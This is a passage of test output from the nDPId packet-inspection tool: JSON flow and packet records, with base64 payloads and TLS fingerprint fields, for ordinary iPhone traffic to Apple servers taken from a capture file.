+00818{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":112,"source":"iphone.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":6,"flow_first_seen":1582454598418,"flow_last_seen":1582454598584,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.253.105.202","src_port":50579,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"mesu.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02383{"flow_id":29,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":584724,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUnTgAADIGp2kR\/WnKwKgCEQG7xZNpWNoBMiTxG4AQAHVkJQAAAQEICgAfwUQR3+f3Zvji2ODt4UJ2pvF9R4RriUQbCa0l22b\/XtUcbkokh\/gPtSUqtXMb17TUXsUyTZ9pvxUJ\/s0Cz\/oX9qFdH6GZxa7kqTBzisVG+++NBxKSFqYRihc+NgWTaXL79PsMJ\/BjqF2+CBvNCiStfhGfynqVGi5Yp1a1yRNGREskAV4LoT2z+IvnFLgF1KD19HMmSasnZTf+MXtvFo11t1Zkst3ZIB2eg9uuUL87org1p7mKePyLBJj+s8m\/UZuEvCwJbQxkIVUF\/i8GjxLbE9N0R8ZCdweiBC49NtOqKGB2RffFsnTqNKtDrLEU4sUpvY1OQL3jZqJOX1jnLYAMiknG0eW7ZA1B+JXh4KcFHSsJctl5ioXeYkIR3MtyNI\/6wGgFF1g2ftnHKa1agN\/xKvOsfcLTgzJdGoLKhR7Vt76aliSvBOV17JFplmuPGrBq2Yb341a6U3WGV1\/KDArb2bVzBxEB8FOM6vwKk8Lt36nelt69dJVEDbVKfOc9mlbSjHFcwKnrASpOCXG+nrlqwrCF+cP3e8jx+VGyZw+fFSf+ogX9rKIROQGOGu05KjWuPtb9D5NFYjgehQub7xVereeuxgYVZcGofxlgtwpNHdzJAT9J4WHjNRrxqHBp+ncWyQ5qV\/yo3Aj4KP5gx4SLkGV1nykgQ7iLhi66uF\/TG\/NyVuU3+xNYDVaA+YO0jObC5mxUkFZnErbbIs6kdW+GkvhWXdh94Wb7bM8nYkjWCBUXWO2Oy51kuSTLWAjtrtusEyzwh0d+RAfvzIYIcZMq64dN\/TqiavvylXcYalEayAh6HoAJ+5n8ZsbuXfzQqesagNURGGRPYdToh52\/Bh1xqZ+sMftbOvPVmrsQ3POAYITRZ4S+nmIi8OsC3gfBrN8RrZL\/rBpfk9o+K2GBvVNbuWF2\/f8SjXxQMvNkUPpz932OYeEMrKsJviYP\/znQFp+Wucn1s\/pqY+ayQaByKd7Kb+HgXB21Jdgfcaod9m1va41VKDNbVRkuvxpFhSHonAvpQ9NSE4Zmtn6dNQJA+WvzNpWJhcTQSauml9GfTET\/DnnUlZOlFtJTY0q6FCv\/n4cjlCkvnv\/EZ7FsdH9q1KBO9rpVJhVHUzcMittzDiqVsv+C0VZJWxfv9TicUFXi3xN28+NkABnkFlQipuIDkC1wGnPly8\/DC3HLrriwqBciQqmWCkqiXJP4zj3ZwOjpgR\/PGLVWz\/EFCKLMrPXWiSm+iwzX9JuDkdSrnQ+rXC6zVDsk9dL6aBDcC1LWrPzixzU6eFErtZDDrJvP7ZrzmQ52iTHer1XvKvcBaY2dp2NnXLrxJdnR1diDHAJ2C4HvXDigJtIqm209r2EOVWjYSisPXmG00IEV9YnvNm+pH06Yomv\/PSfo4dHFEMyaWuGz3Ll3tepDnj0qRiUTpKxRC9funY9UK6G2bc1KBHfgmQZiA1WmR3zhTt+Nwo0AQaSpYlkSP7rkkvjo7jlMTfEWq+en9DjacxUhXmCnM5OJM+wDGLI2yYB\/Ko9dDfWHd9+0drzkYXhzyaYAprYDrdvSCfFdvTGOfzataFETb1QSk9rdZYjlNLUmuFhfg6TK+13n+spDpZ6vThjAb8R+N28NBh0DWlD3QI\/eC0KVLY+aJPxjyvR84\/1MH9OwsQUNjKgYDKJnQ7qYuo4VgRhquJgIK5e+YBhYGZcwnudxF3QdZNXuctrUxSABrC6TR054DhjM7sgMO5DcHBENCCidE+FjEh5D2xhT5hW2NGOHXhUBTCUCKPd4QSL9bFrm3gRMQcQpNCCgh7+6C6xcYNIeeXwxEylXDC6J+ndltB\/d5dES3LgU6UR1OqS6OXnnt6X1pV6sQ532ZSArjFbeEZTVJj5LB0\/RUUWjB20dL2Ol36W+DzBCta1hag59f1peaPYSI\/NMag7CFMYBebqI"} +01883{"flow_id":29,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":584725,"pkt_caplen":1137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1137,"pkt_l4_len":1103,"pkt":"xGGLNYKpxiwDYGpkCABFAgRjnTkAADIGqNkR\/WnKwKgCEQG7xZNpWN+hMiTxG4AYAHUySwAAAQEICgAfwUQR3+f3bmhlOV29CE2iIFQAL59yDHBYlu6YrnPAdzt3j5FM2jbDZSDhondXPEizlhrpDXLAjVlwtk0IUbceHsFh5yoOZN9tGBk7OHFmMv0T1+dH8cVA\/ZDPwhUsYrrwAzc0YWp9D5l\/zKTDNRS2mpjlwGAgFnZFnuScCL7D3QDcI7zf+0xLeAKUXdJBVQ\/B1iWjD5PRRCsr8aAzUUhsjZ69we6P9zaykDvasuU+719HEPr89LlHjNSw774Tyn1PKGjc0MujgidrEB4VMPjTLoMpZ0taxIHy+MzJMx2LgsIuar\/X3CUtqIIy565AJ3w8p2uBOko0\/loR6b+whh6ChZgv4lW4ktyiwp02AxjPJLlgl6XHq\/Q8SmKq2smu4OmgKcV8MWLymSeplhXEQLrf1AsRGsY+p+ZhkVfiunEIFHwbM7l77Ex6Z8B2eC+rikR\/mUk800k\/4vHjzPA1N9v3yDlEbnfKZFmZ9OwZGGBXC+hhtqjP2bLRU1QgmC+ItZBF8t6irLEna11UfoOoh+ofgt5F3vgBfEAzuayRaZNLNW372lqrJSIuio3gL0rq67JbIs7AfOkevcsPcTC7lPbR1JfX\/oaMLooYN5yRXN5as3b7SWDuA2PdZu5nw\/Pz0tDQrylmrZa45RegN7pLsrXE08BLMEN9nK3Ok30QQocMptp0lubYznZHbPlAkp5bRF1MibmHOo+LeLl+VIZHOd2vFkfgIGhO1qw3y7ZX0hC5mqHufeH2lQoMVSPQ8zFuNd5ILqwhKanmWuVPqjAPJiv86YqBn9fgjryXBSKXNLgJXjO7+zXshAYnr3qzhpJOwGm7pJxqdRoUsrHcujLU8ceI+bbRk80S0YgKuwqVwRwbz15t9BYrPl05hN\/kDjPli+6PB2Il6SyTl79r3WYEyOhfP8vNqV58\/IWH\/3fRUN2FZ4GbzxzH\/2g78IxGyWWQdAcLFEN2AzuweYVWqNL\/y0RuPez0cpw4E9WblWgU7PjppU+es+CUV\/7SSZf9wSXINWnoI56217hBrnPpxTU6Tr92XM1\/bx\/+PjpXhM9pu0Feuf64wgLDJ9luR15FBQZx7VnApsnqjimvzPIve32Gdx5Lr2hA\/gDjq0GABMHBWTBrTQAK4ivjpTyaldxaorhlr6vEB1BYALQUTd+orqiH54HSUe\/s\/hZijqhKFpVZlwY9fe0cVqYXSfoY1+J6VbPHNwk0+RbIoPCQ4RcDAwBffutJWKojEEfvmCbPI6CBi1igS4wHzeRQHzc9ELPs0jZtGic+XYFLaGyhckeBZW6sK1D0VI7D1mXO7LI3b5+6DKUNdNZj1qUwxqhf5EE\/MxaTnx1zHd6JfNCsm\/vQGvEXAwMANZ6dVG+AQNi1uSt+x8iz5PIcQE0Ed3YHapx\/bfyb4BcsV8etiToC8g2+Im9hshXQVBWAY6OS"} +00426{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":585123,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0\/jIAADIGTBER\/WnKwKgCEQBQwACbtSzOLJXrtYAQAHVahwAAAQEICh00JSQR3+fp"} +00426{"flow_id":29,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":586800,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/EPAqAIREf1pysWTAbsyJPEbaVjfoYAQA\/RFXAAAAQEIChHf6CAAH8FE"} +00426{"flow_id":29,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":586858,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/EPAqAIREf1pysWTAbsyJPEbaVjj0IAQA+xBNQAAAQEIChHf6CAAH8FE"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":118,"source":"iphone.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1582454598587,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50580,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":587648,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGtbvAqAIREfiwS8WUAbuGKOrDAAAAALDC\/\/9\/HgAAAgQFtAEDAwcBAQgKEd\/oBAAAAAAEAgAA"} +01357{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":587823,"pkt_caplen":762,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":762,"pkt_l4_len":728,"pkt":"xGGLNYKpxiwDYGpkCABFAgLs\/jMAADIGSVYR\/WnKwKgCEQBQwACbtSzOLJXrtYAYAHXbEQAAAQEICh00JSYR3+fpSFRUUC8xLjAgMjAwIE9LDQp4LWFtei1pZC0yOiBWdmg5YWxkeGF2b0Qwekd5WDRnMjZqWWo0UkJRWTd4VDI5VEFqT1l3aXRmYjB6VStUVGpiVjdqUm5nakQwZ2gyZXNmbmcyUUZ4cDg9DQp4LWFtei1yZXF1ZXN0LWlkOiA0RTY1MDNFNTU2OUQ0REE0DQpEYXRlOiBTdW4sIDIzIEZlYiAyMDIwIDEwOjM4OjU0IEdNVA0KTGFzdC1Nb2RpZmllZDogRnJpLCAxNyBGZWIgMjAxNyAyMDozNjoyOCBHTVQNCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9MzAwDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiA2OQ0KU2VydmVyOiBBVFMvOC4wLjYNClZpYTogaHR0cC8xLjEgbmxzcmsxLWVkZ2UtbHgtMDA2LnRzLmFwcGxlLmNvbSAoQXBhY2hlVHJhZmZpY1NlcnZlci84LjAuNiksIGh0dHAvMS4xIG5sc3JrMS1lZGdlLWJ4LTAwOC50cy5hcHBsZS5jb20gKEFwYWNoZVRyYWZmaWNTZXJ2ZXIvOC4wLjYpDQpDRE5VVUlEOiAzZjEyODg0Ny0xYmEwLTQ1YjUtYmE1MC1iOGI2MThjMzM4MmYtODQxNTc0NTYyDQpYLUNhY2hlOiBoaXQtZnJlc2gsIGhpdC1mcmVzaA0KRXRhZzogIjQxYmEwNjBlYjFjMDg5OGUwYTRhMGNjYTM2YThjYTkxIg0KQWdlOiAyNjQNCg0KPEhUTUw+PEhFQUQ+PFRJVExFPlN1Y2Nlc3M8L1RJVExFPjwvSEVBRD48Qk9EWT5TdWNjZXNzPC9CT0RZPjwvSFRNTD4K"} +00426{"flow_id":27,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":589196,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0\/jQAADIGTA8R\/WnKwKgCEQBQwACbtS+GLJXrtYARAHVXywAAAQEICh00JScR3+fp"} +00424{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":589226,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA06hUAADIGyEURggIuwKgCEQG7xZHfrwWjGTrtHYAQAANrugAAAQEICrVP0n8R3+fw"} +00425{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":590442,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA00AIAADIGekER\/WnKwKgCEQG7xZLy+qnqfzqrkoAQAHV62AAAAQEICor+qRgR3+f4"} +02378{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":590958,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXU0AMAADIGdJ4R\/WnKwKgCEQG7xZLy+qnqfzqrkoAQAHWr2gAAAQEICor+qRgR3+f4FgMDAHoCAAB2AwPdkWfjqfkybHi5hafIFCxMuXFhAg42i74xWcGK+Esm+iBBR6wrPbvh3W2j8rwh4NW3lc0cwhULV8gFfvx3+QKTDhMBAAAuACsAAgMEADMAJAAdACCCQ4+XIllfV\/oyk2g\/erLLA4ruA7viRddpmmFPrNDoQxQDAwABARcDAwAqvLZxAURZbFmO6LRUH2d8WwuAMqGLMfkOr5xKx9YzdPly\/lRnWSDn51\/bFwMDDhZN6Xd6JBF4VAKva6f8VaOtzNpWertXOwTz4RPzYuBvrt8tpgt747fCcmPA5j+t793wFhGdnYKExje+MKvI8CfpncwfxID52p2FrL281ID\/f+JEEBoA9MM7lpPMw9Bo0oxjC\/61246W+Qwg+mE78Chy6XeMcKnScbNOGbOzU9ACc8yG+4Z2AsVPhP4em6V2Yt5ekyI1aR+mXE8zRFVqLmi7Tkz34ZrBe\/FbLHYtSOAiaQw+uBKev14+ND6dpvHsSaeiUvan67aE3f38cNQL03wvqLIDqV2WTfkT8h3AbMlKLnjlp2q15Zcd2Qe40fUKiOWIwMICW0JKKLGCyXfn5Y8Ds7MCJp3LS3wXLVn3FVVaGBuu1vB\/yHweUg++cLQC295Knysp950MbdZCbRNai7I7nFgWnQUtGfTMMcn8A1md69Vmfvz4pqB3UAvYLkKM0lKR6HTa2LzRPpI+CmVRT4yZTYWwfgVcBT2KrghjIisWRA5q5wzHvSjEvc2azKS4butT0OvxUGq77db95SS3oVAzOvdBy6rK7c8Q5C9VcvXAaOOdSqaOiv7zotRcXv+0fDMyE5ICsvIZZEj2nvI5Qk32oNAm\/irL4ZQqab3apS1ASdcMceK2k\/7RBTqX45UtjgDGUa33lcCHiBbC2lf9NRE1MA5aNJpm352Jw7iWKFnFykHE49TP9APxCXSCe5W3zJb2laG5jCE5TNq5rfTlCAJLE57e5ccUzGpWcv39IsOSWolJMWubxvv7+9GxBsvuMa4YDirQpdtYB+DbnzvnQ+cnyMKIV8oWOhjEdNr5wF43CKdtEKOkeI3iecgDUUhSfdxSWnxytcF2PGkYIc617xvgQrpfyLXR99OH10fuWf1jK3BkvVNBTiSa\/HNujUSahH2NbLq2d4GwqyhBf6C+7mvrmsr4\/4L9bfj8l0P3uJVjV46Va+dNjIizc2gQForAjmfy3032Bh4lO\/4MIyuwGKoOuycFjnLzGZE1woVyF41xfr+TKrfF7\/hU95kPKB7hYf2\/4yRSrFfiEEorGHRfQmj2JZD6zLuFs2ap5BP1K2RyxUGjL2hlH7kRuSLqqORtZk2q+X1b7Akub7fk1VZYSedu80+6n8XnT4k1lgLE7mZ6dWxCW0xSy\/p4HJlW3AZdiqWugXe6QBmAJEFixxGVWCyC2pHgBQPqMs6qWCxk\/Mrf6\/UMY64DmyTAXT4eIqobD1urftCYJqYmKqpNxJoegGynAsCSzlaetj6\/Btpwaz9MdhS1mqRN\/evH\/AOZB6lawfBkd3OUp31P48uAyuFVnFrzPIrVfVYQY\/ETPLPafGT6PtfARjEVrJuNG+LYNCVupAazT6odke5WzQyJNrReIGpAbGpvT3PoyrPMn0KNSrnuPt25\/HHN\/uizy4OgUANTEY1E5L9+JdaNqdixMGIlHwvJg0RUsVnyj6t3Bd9CmXm0anZlQLRCBdOvIVFRt2uXtmvFuRbKF2J11BbEvPl+k4zw99kzDQXvKd3n65qfee+hC4JsXSMMS33fplhNNBJKF19+P0ViDgm5r8nzJTtrTFNVD6bMVAUujNUDXr6o10oiAuN7z+RP\/O7ANSRrj1YJgbK4V9LN7OvtTwavaMYScgdzPmoIRUX5pWj07S\/ZkL0+sJSYqbw7c7JsfUdwEOI\/BAACrLxZU0YK"} +00818{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":124,"source":"iphone.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":6,"flow_first_seen":1582454598416,"flow_last_seen":1582454598590,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.253.105.202","src_port":50578,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"mesu.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02381{"flow_id":28,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":591177,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXU0AQAADIGdJ0R\/WnKwKgCEQG7xZLy+q+KfzqrkoAQAHUYLAAAAQEICor+qRgR3+f4QHJmI1Cnwgdi5hQt7BXjTqx0AI8Cq2kXdsBd9yhND8LWMKiSq0VmmbX+8jfkSziqSouCzetN5SJhqPoujPFU3pisWEtWENyzRZzUDEzQ1w0AO9l9QnCZZTazBaLSzU+d\/BgnYEgd9TWpJroigc9bK9p\/vbRyjl5IJCG1ViB3SQ8zu\/NTwrZ52qHnxA2SShMRcT6jUEWYUm4MW+Zs9nfWEiURYKpBX1Ugi1QQDhcyQCmXIJJhveqKinxbsPw6stD32darp7+F85Mi\/FG2fjqrhYFVWIbHJSdp+5\/C\/q4LwqWGJGWLKLZx0EdfOrHU8s\/oJYdzayAIUVFmA22082SMZ3LH2kLTexMWBJ+0zP\/tvKCDwHot\/OOBXTYvHTH2wrdNXPwGTc0gvU+6Tqk+Q135uexNZ1kOU9eq7xQ5JlhRWSpvBwzrzpZkwo\/7XFgDB\/AdnJxrUom2r+Jw3tg8G2WDiFCCUe2qq\/uRGivATOzRTEeyoTwiVbUWnGcEJd\/+p4TPqKxREPd\/xqoaNjFd4Md5qyH3WoM0ydV\/KsCcMTmCSubKz201vYUZWKBDEh4Uico5+MRcQFTyOrMCZF8hhoOfwQaAzwyuDCBfiF9eEGeJpMDgUumLfjRxygC2HK588uNM8VMrol4yKT20cR30gMhL9229bSneN5bGXDiEtcBCrbiz8RDHhcVHyD5B8VfaPqIQ\/kA8pHo\/5rLw7NByJ0Vg7jVor1MQhlhs\/bMPHgnTPeG8IesmgZs3U2oaTSgniLbAMlBcIrmf2oZER2QWMIFqhSTouDETiKar0dfMRCVl1FvVmweb\/ByLx8LvdspM5\/majrxONFj3Bs9p0m08gWEjbFeqTFsLLLn3A83v0VLpswkpQ4nNwVjm3dnH4t9v9Gxf8YeLqr92xS+YUSdxlApJ3QQf5XOxmbUv1cRtCD3dkRNV\/7bfmr18FD6XbifYOhe8FMjB4bwKo3pkMtA7l06nSWzNH1c1sfDsBcy723H4TyjhEipbxgu51KZnRMU3n6mfFLmhRZPM3aOabHlufGn3S+u1l1PPMWx4WrWzIuCPhTif1H6iKVD6hrUPRixHcelbraACOhx1uqgOF9R+vfP1\/BHEH7Y9W\/0uph0S1uShxkR3buFRHePFSX0g4BKO+Wx6Ty9ctg\/5PWY39G+Mf95lrKmYXiITKJ9+IqVWm\/iyzPDwnDnVqqQ1Kj196uTW2\/bYx75cuMpAXDRCB66vsuQKvl0SdlnsIaE0zYQ\/xHEuMuZhmYp5Tzl+kTx1LrtVZ7UGXMzatQSw6VMgUuGHMKqraWF7uNtz7CIvCF3s12UNOHztv9e4GhvtJHrMNICy6t2Tc8hJ7o3jWCd3KEWz1LMi6JfSRfRMYilCoJ0WvZ5ye1egjDaqUk39VhKEDs6FiIVWKYwoLS3kZyOjmj8NO2zbaHmPyFBlJSlfK5M71ZDC6se40lUFldoMCkjz5goixv0grJaTlK5fIl5jUDebArkW2dbAIIPVb38Eis\/S2kdhrlgmGy1vMTagnOlqP6DJlElA8cZaiQZNmGrN0Xm5E+IT9dZpmxpLDHQap+569WrfXvNqP3P+X+Z0AJpNzsKN6O9MzVvm1+kCCVj4udI7dJlDfI5cU7N2OU3ctWPv\/NphdE6uu6z82Q7aNeUTWl3ag7uKZS6lYmYlVpAOQcP5vzR63HQSXFgHDk57PTeTO5xNyQ+pRWcz4tXWtA7\/FX6Wn9TW9+6rW9TNr9mK0QOC7EUhdd6a5Ua7i6kHWMpZSY5FzhHPwd4Jusw44tSWnEGC60yMyojeF35YhKexzzXRSILKjnT3dTgo1JUXmuyNKvZTQQNbuyWPgJVje28gO9KVstdshcDtjLS9dSPDH82HWBK4oXdckMPy+7yDsdcsm4F1yy5sYX0+gxSF0BW5Da0zfp+k"} +01892{"flow_id":28,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":591563,"pkt_caplen":1137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1137,"pkt_l4_len":1103,"pkt":"xGGLNYKpxiwDYGpkCABFAgRj0AUAADIGdg0R\/WnKwKgCEQG7xZLy+rUqfzqrkoAYAHWR9QAAAQEICor+qRgR3+f4JqEdHue5ivuX3xFR31+9eQx6qvHpEO708glv1H56cewXcjpv+hUvLBg7KDhtwU2nbo0+31kknyWNwqjsZWLBxCaJIy4Cxmn\/CjuRJCBCyRsxsBL\/NweZ2r0Y3qI5z2Dfqh3QjQKYj31cBf\/AY\/2NZd94X+PQZkKk+3YznOJ0eQwe8pRmG5B4x9lbgjrZr29Tt30sFrEbvjSbldY1RYgH+rKr5nNOpoi2Yhl1m+RLYoTH\/eSm1hgBZ5T37hoYFPrc0FRavq4ZQmHGbMWrzzPl2JkyOgLf+urChmnLqPB4MdE4PUA\/e9gvHGDlMju8JSWALc0964HhMObNrmLMTq7\/elCbpjsTg+NmxPZ66U18mgPeeSZGixPU4sNEA1GABI2KJag01TktU2rGxewKnpRSpg7Q3njLdWKBh2IYRiRd+ecvORQIxK5m\/Rr\/TJveu03zZ0KBQjH5iNCf5aR\/LdV6NHeTc2+e8qyPPkV7v4QUyffzGuUf+Y\/Ob45MhP\/2TiKgJJWnRGE1UKdIvAVqEFg3dyLKkx2SF6062tgAf6mvCrfVNI4K2CBH+8JLjwYfzg00Un\/lHD0ovgl2v74hspPG+F6DLOfjrgRnpW6\/tZWvbxnGim8grAduSl2d08spP0TgJyijkd81MOX8uKXfrQgV2kQpk7XNPRDN2ztMC7h\/IGPWnzCaM1FSPfcUSAh3YwV6XjdUhm7qrByCjoeEmdD4KODp7cNhy72KZqj+oN4YMLfZ\/mq9xnMvswNVWdsxbiIqEe8Fhw4FY3ZSAJX2IKyj1k6SLcjKIUCnOKgZXQN5IUgtcwptc30ft9A+Ae2CU6wWBvfspIPEbl9+apyTmEfjOdsqV1JA9XlT3Lq9MxfKTF8aUiHFECwIPu4ctIjeRf7oTbx+k4hMWX05YVmGnImHgxVs9iap8KX\/940LlU4D\/BZIi8Pwrcu0nvruQVWp9aE\/ZQjv+GZ5\/PSFWwvD\/frt5O9JNm0zyMrAdYHQAW71DPYYzstaYsJ1E42vM93oeKuiojoO7uCdQq0chaF4SNZBRyKEjbrhBgp6dplqdCW1Sj\/DUMgFy\/D\/YOboH\/VU6PLr+c9kYpjLKFnf4TDYqdzNmuzi++tdYaO5xtoSPYLj6E5znzTTWv6D4HKnet88VOXx49SBYJTb\/gKCQ8K1aVd3lyph\/iuhySiPCeYYkZQwzielRjV4HVGrD\/PpF5AKsoIXAwMAYRz81U3qiwAn+rx9UWCWO1qjQqlW0\/xp\/WynugxrneryUXe9onWUIRFs70Fm6MXIJCYt5QNgxLhOAyFb99A2Ad27qL9PfMvyCsTeSb2nzveoeE8tl9VTZW90eMgH7tmLkMgXAwMANXJ\/jLnTXKPevW+k0tEB2Z6uY0bhtV8qnV8ylPJY6jjqyxVqzAYJR+KIA\/aOdL0pbPl7\/+zF"} +02362{"flow_id":26,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":592070,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXU6hYAADIGwqIRggIuwKgCEQG7xZHfrwWjGTrtHYAQAANCLgAAAQEICrVP0oER3+fwFgMDAFACAABMAwNZdFzV0QA2PKiuTvgdN9coa1Qdq1L8ifbPWVMLctdgVwDALwAAJP8BAAEAAAsABAMAAQIAIwAAABAACwAJCGh0dHAvMS4xABcAABYDAwyCCwAMfgAMewAIMTCCCC0wggcVoAMCAQICEGRKaPARhhkxGSgjco++FUUwDQYJKoZIhvcNAQELBQAwYjEcMBoGA1UEAxMTQXBwbGUgSVNUIENBIDIgLSBHMTEgMB4GA1UECxMXQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxEzARBgNVBAoTCkFwcGxlIEluYy4xCzAJBgNVBAYTAlVTMB4XDTE5MDMxNTIzMTcyOVoXDTIxMDQxMzIzMTcyOVowdzEXMBUGA1UEAwwOKi5scy5hcHBsZS5jb20xJTAjBgNVBAsMHG1hbmFnZW1lbnQ6aWRtcy5ncm91cC41NzY0ODYxEzARBgNVBAoMCkFwcGxlIEluYy4xEzARBgNVBAgMCkNhbGlmb3JuaWExCzAJBgNVBAYTAlVTMIIBIjANBgkqhkiG9w0